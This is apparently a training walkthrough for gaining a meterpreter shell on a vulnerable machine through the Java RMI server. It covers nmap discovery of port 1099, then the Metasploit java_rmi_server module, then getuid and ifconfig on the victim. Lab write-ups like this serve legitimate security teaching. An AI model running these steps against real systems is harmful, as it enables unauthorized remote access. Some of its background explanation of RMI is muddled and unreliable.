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Java_RMI Vulnerability Walkthrough 
Introduction 
Java is a programming language that has a wide range of uses, including: mobile applications, web 
applications, software tools and databases. It was first introduced in 1991, is similar in its syntax to 
the programming languages C++ and C# and has been used extensively in the IT industry to create 
database applications. As with most applications there could be errors in the code, for example, the 
average iPhone application has 50,000 lines of code. In most applications there are “bugs” of some 
description, some can be exploited and others which cannot.  

The Java Remote Method Invocation (RMI) is an Application Programming Interface (API) that allows 
programmers to integrate other applications and their functionality into their own application. For 
example, when a website has a Google Map indicates that a web developer has included the map API 
into their website. This can also be achieved within applications on PC’s and phones, and as described 
if not programmed properly it can be exploited.  

Java RMI allows other Java applications to access it and run programs on that machine remotely which 
allows the execution of a range of commands that do not need authentication.  

Walkthrough 

Step 1: Make sure your Kali image is up to date using apt-get update, apt-get upgrade and if 
required apt-get full-upgrade; 

Step 2: Discover the IP address of the victim machine (use nmap, netdiscover etc to find this 
machine); 

Step 3: Open a terminal; 

Step 4: Perform a detailed nmap scan on the victim machine (nmap -sS -Pn -sC -A <target IP 
address>) – This nmap scan can take a while, it’s pretty detailed!; 

Step 5: You need to find port 1099 that is the default port for the Java RMI Server; 

Step 6: Type msfconsole; 

 

Step 7: Type search java_rmi; 
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Step 8: Type use exploit/multi/misc/java_rmi_server; 

Step 9: Type show options; 

 

Step 10: Type set RHOST <target IP>; 

Step 11: Type exploit; 

Step 12: You should have a meterpreter shell open once the exploit has completed; 

 

Step 13: Type help and have a good look at the different commands that you can execute with a 
meterpreter shell; 

Step 14: Type ifconfig to confirm the IP address and that this shell is operational on the victim 
machine; 

 

Step 15: Type getuid to show you what user you are operating at, root has the highest 
permissions available; 

 

Step 16: Once you are finished close the meterpreter shell by typing exit; 
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Conclusion 
There are many security issues using an API and it is important that a developer understands these 
security implications. An API provides convenience and flexibility, for example including Google Maps 
in your website, but by doing so provides an opportunity for the cyber att6acker to exploit if the API 
is compromised. The Java RMI API can be exploited, providing the cyber attacker with a meterpreter 
shell which gives higher privileges and opportunities for a successful attack. A lot of applications and 
API’s are created with convenience rather than security embedded, which needs to change in moving 
forward.  

Disclaimer 
Any actions and or activities related to the material contained within this Website is solely your 
responsibility. The misuse of the information in this website can result in criminal charges brought 
against the persons in question. Cyber Security Associates Limited will not be held responsible for any 
criminal charges brought against any individuals misusing the information in these projects to break 
the law.     
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